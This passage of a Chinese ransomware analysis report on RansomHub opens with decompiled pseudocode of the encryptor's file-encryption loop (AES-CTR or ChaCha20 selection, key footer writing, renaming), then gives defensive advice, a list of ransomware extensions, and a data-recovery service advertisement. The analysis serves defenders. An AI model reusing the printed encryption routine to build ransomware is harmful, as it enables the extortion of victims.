          *(_QWORD *)&ptr[106] = master_public_key[2];
          *(_QWORD *)&ptr[114] = master_public_key[3];
          fseek(v8, 0LL, 2);
          fwrite(ptr, 1uLL, 0x7AuLL, v8);
          fseek(v8, 0LL, 0);

  根据刚刚返回的值决定加密的字节数

        v20 = v14 + 0x100000;
          v21 = (v20 + st_size - 1) / v20;
          if ( v21 )
          {
            v15 = 0LL;
            for ( i = 0LL; i < v21; ++i )
            {
              fseek(v8, v15, 0);
              v17 = fread(v11, 1uLL, 0x100000uLL, v8);
              v18 = v17;
              if ( !v17 )
                break;
              if ( *(_WORD *)&ptr[32] == 1 )
                sub_418793((__int64)v11, (__int64)v11, (unsigned int)v17, (__int64)&v33, (__int64)v24);
              else
                sub_40E392(v23, (__int64)v11, v17);
              fseek(v8, -(__int64)v18, 1);
              fwrite(v11, 1uLL, v18, v8);
              ++*(_QWORD *)&ptr[74];
              fseek(v8, st_size, 0);
              fwrite(ptr, 1uLL, 0x7AuLL, v8);
              v15 += v20;
            }
          }

  如果加密是常规模式,则进入aes ctr加密

  如果是快速模式,则进入chacha20加密

  加密完后重命名文件

void __fastcall encrypt_file_task(char *ptr)
{
  __mode_t st_mode; // esi
  char v2[4112]; // [rsp+0h] [rbp-10B8h] BYREF
  struct stat stat_buf; // [rsp+1010h] [rbp-A8h] BYREF

  if ( running )
  {
    if ( (unsigned int)sub_418CEB(ptr, master_public_key, encrypt_fast_mode) == 1 )
    {
      memset(v2, 0, 4097);
      strcpy(v2, ptr);
      strcat(v2, *((const char **)&config + 1));
      unlink(v2);
      if ( !rename(ptr, v2) && !__xstat(1, v2, &stat_buf) )
      {
        st_mode = stat_buf.st_mode;
        LOBYTE(st_mode) = stat_buf.st_mode & 0x7F;
        chmod(v2, st_mode);
      }
    }
    free(ptr);
  }
  else
  {
    free(ptr);
  }
}

5.病毒分析概览

  Ransomhub是一种勒索病毒,采用AES-CTR加密算法加密文件,并使用RSA公钥加密AES密钥。它通常通过恶意邮件附件、广告或系统漏洞传播。感染后,Ransomhub会加密目标文件并更改文件扩展名为“.f910ba”。在受害者的桌面上,病毒会生成一份勒索信,要求受害者支付比特币作为赎金,才能解锁文件。若未支付赎金,文件将无法恢复。病毒的加密方式结合了对称加密和非对称加密,增加了恢复的难度。

6.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

7.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

8.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318